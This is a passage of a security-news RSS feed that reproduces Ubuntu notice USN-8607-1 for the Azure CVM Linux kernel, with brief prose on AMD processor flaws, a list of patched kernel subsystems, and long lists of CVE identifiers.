CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044,
CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056,
CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060,
CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43071,
CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075,
CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081,
CVE-2026-43082, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088,
CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093,
CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113,
CVE-2026-43114, CVE-2026-43117, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43123, CVE-2026-43124, CVE-2026-43128, CVE-2026-43129,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43137, CVE-2026-43139,
CVE-2026-43140, CVE-2026-43141, CVE-2026-43143, CVE-2026-43145,
CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43150,
CVE-2026-43152, CVE-2026-43153, CVE-2026-43156, CVE-2026-43157,
CVE-2026-43158, CVE-2026-43159, CVE-2026-43162, CVE-2026-43163,
CVE-2026-43167, CVE-2026-43168, CVE-2026-43169, CVE-2026-43170,
CVE-2026-43171, CVE-2026-43173, CVE-2026-43175, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43185,
CVE-2026-43186, CVE-2026-43187, CVE-2026-43189, CVE-2026-43190,
CVE-2026-43194, CVE-2026-43196, CVE-2026-43199, CVE-2026-43200,
CVE-2026-43201, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43212, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43258,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43265,
CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270,
CVE-2026-43271, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43278, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43288, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43297, CVE-2026-43300,
CVE-2026-43302, CVE-2026-43304, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43317,
CVE-2026-43318, CVE-2026-43319, CVE-2026-43320, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43341,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350,
CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360,
CVE-2026-43361, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43378, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43383, CVE-2026-43384, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405,
CVE-2026-43406, CVE-2026-43407, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43414,
CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421,
CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441,
CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455,
CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469,
CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484,
CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492,
CVE-2026-43493, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43499, CVE-2026-43501, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45847,
CVE-2026-45848, CVE-2026-45849, CVE-2026-45851, CVE-2026-45852,
CVE-2026-45855, CVE-2026-45856, CVE-2026-45857, CVE-2026-45858,
CVE-2026-45859, CVE-2026-45860, CVE-2026-45861, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45865, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45872, CVE-2026-45873, CVE-2026-45875, CVE-2026-45877,
CVE-2026-45878, CVE-2026-45879, CVE-2026-45880, CVE-2026-45881,
CVE-2026-45882, CVE-2026-45883, CVE-2026-45884, CVE-2026-45885,
CVE-2026-45886, CVE-2026-45890, CVE-2026-45891, CVE-2026-45893,
CVE-2026-45895, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45905, CVE-2026-45910, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45913, CVE-2026-45914, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45917, CVE-2026-45919, CVE-2026-45920, CVE-2026-45921,
CVE-2026-45923, CVE-2026-45924, CVE-2026-45928, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45938, CVE-2026-45941, CVE-2026-45942,
CVE-2026-45943, CVE-2026-45946, CVE-2026-45947, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45957, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45962, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45972,
CVE-2026-45973, CVE-2026-45974, CVE-2026-45976, CVE-2026-45978,
CVE-2026-45981, CVE-2026-45982, CVE-2026-45983, CVE-2026-45984,
CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45988,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46043,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46135, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46195, CVE-2026-46196,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200,
CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236,
CVE-2026-46238, CVE-2026-46241, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46246, CVE-2026-46247, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46251, CVE-2026-46253, CVE-2026-46254, CVE-2026-46255,
CVE-2026-46259, CVE-2026-46260, CVE-2026-46261, CVE-2026-46265,
CVE-2026-46266, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285,
CVE-2026-46286, CVE-2026-46287, CVE-2026-46289, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8607-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:40 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
